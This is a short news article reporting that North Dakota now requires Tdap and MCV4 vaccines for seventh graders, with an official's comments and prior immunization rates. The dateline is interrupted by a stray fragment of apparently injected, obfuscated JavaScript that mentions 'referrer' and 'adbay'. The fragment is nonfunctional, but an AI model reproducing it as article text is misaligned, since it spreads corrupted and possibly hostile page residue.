BISMARCK, zsisa|var|u0026u|referrer|adbay||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) – Two vaccines formerly required for students starting middle school will now be required for students starting the seventh grade.

Amy Schwartz, Immunization Surveillance Coordinator for the North Dakota Department of Health, stated that “middle school” means different grades in different communities. That means that all students were not receiving the same vaccines at the same time. “We hope that requiring these vaccines for the seventh grade will be simpler for parents to remember.” Schwartz stated.

The vaccines that students must now receive before the beginning of school include the Tdap and the MCV4. Parents are urged to check with their healthcare provider or local public health unit to make sure all immunizations are up to date. Last year, Tdap immunization rates were 72.4 percent and MCV4 immunization rates were 69.8 percent.